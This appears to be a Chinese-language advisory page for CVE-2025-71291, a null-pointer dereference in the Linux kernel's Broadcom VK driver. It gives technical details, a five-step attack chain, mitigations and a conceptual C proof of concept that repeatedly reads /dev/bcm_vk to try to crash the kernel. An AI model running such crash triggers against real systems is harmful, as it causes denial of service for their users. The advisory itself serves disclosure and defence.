IPBUF安全漏洞报告
English
CVE-2025-71291 CVSS 5.5 中危

CVE-2025-71291 Linux内核空指针解引用漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71291
漏洞类型
空指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel空指针解引用DoS本地漏洞驱动漏洞bcm_vk

漏洞概述

Linux内核中的Broadcom VK驱动组件存在安全漏洞。在`bcm_vk_read()`函数中,当指针`entry`为NULL且返回码为-EMSGSIZE时,代码未对该指针进行二次校验便直接访问其成员变量,导致空指针解引用。本地低权限攻击者可利用此漏洞导致系统崩溃,造成拒绝服务。

技术细节

该漏洞位于Linux内核`drivers/misc/bcm_vk.c`文件的`bcm_vk_read()`函数中。该函数负责处理来自用户态的读取请求。代码逻辑虽然包含了对`entry`指针是否为NULL的检查,但在后续处理`rc == -EMSGSIZE`错误的分支中,直接使用了`entry->to_h_msg[0]`、`entry->usr_msg_id`等成员。由于`entry`此时为NULL,这种访问会导致内核试图读取无效内存地址,进而触发内核异常(Oops/Panic)。该漏洞属于逻辑错误,未正确处理所有可能的指针状态,允许本地攻击者通过特定的IO操作序列触发系统服务中断。

攻击链分析

STEP 1
步骤1
攻击者获取本地低权限用户访问权限 (PR:L)。
STEP 2
步骤2
攻击者打开受影响的Broadcom VK设备节点(如 /dev/bcm_vk)。
STEP 3
步骤3
攻击者通过特定的读取操作或系统调用序列,触发驱动程序进入 `rc = -EMSGSIZE` 且 `entry = NULL` 的状态。
STEP 4
步骤4
内核执行 `bcm_vk_read()` 中的错误路径代码,对空指针进行解引用。
STEP 5
步骤5
触发内核异常(Kernel Panic),导致系统崩溃或拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2025-71291 (Conceptual) * This code attempts to trigger the null-pointer dereference * in bcm_vk_read() by interacting with the device node. * Requires physical/virtual presence of the bcm_vk device. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #define DEVICE_PATH "/dev/bcm_vk" int main() { int fd; char buffer[1024]; ssize_t bytes_read; printf("[+] Attempting to open %s...\n", DEVICE_PATH); fd = open(DEVICE_PATH, O_RDONLY); if (fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[+] Device opened. Attempting to read and trigger condition...\n"); // Loop to attempt triggering the race condition or specific state // where entry is NULL but rc is -EMSGSIZE inside the driver. while (1) { bytes_read = read(fd, buffer, sizeof(buffer)); if (bytes_read < 0) { if (errno == EMSGSIZE) { // This is the condition where the vulnerability is triggered printf("[!] Triggered EMSGSIZE condition, checking kernel status...\n"); } else { perror("[-] Read error"); break; } } // In a real exploit scenario, specific ioctls or preceding writes // might be needed to manipulate the driver state to make 'entry' NULL. usleep(10000); } close(fd); return 0; }

影响范围

Linux Kernel (Fixed in git commit 20f2d9dbe5e972516f8f9948d7ae5b95d1ad77bd)
Linux Kernel (Fixed in git commit 3842f93e6e29d5cc1dcb9e5bda70587b444bed69)
Linux Kernel (Prior to specific stable branch patches)

防御指南

临时缓解措施
建议尽快更新Linux内核到修复了该漏洞的版本。如果无法立即更新,可以通过限制对`/dev/bcm_vk`设备文件的访问权限(仅允许root或特定可信用户组访问)来降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表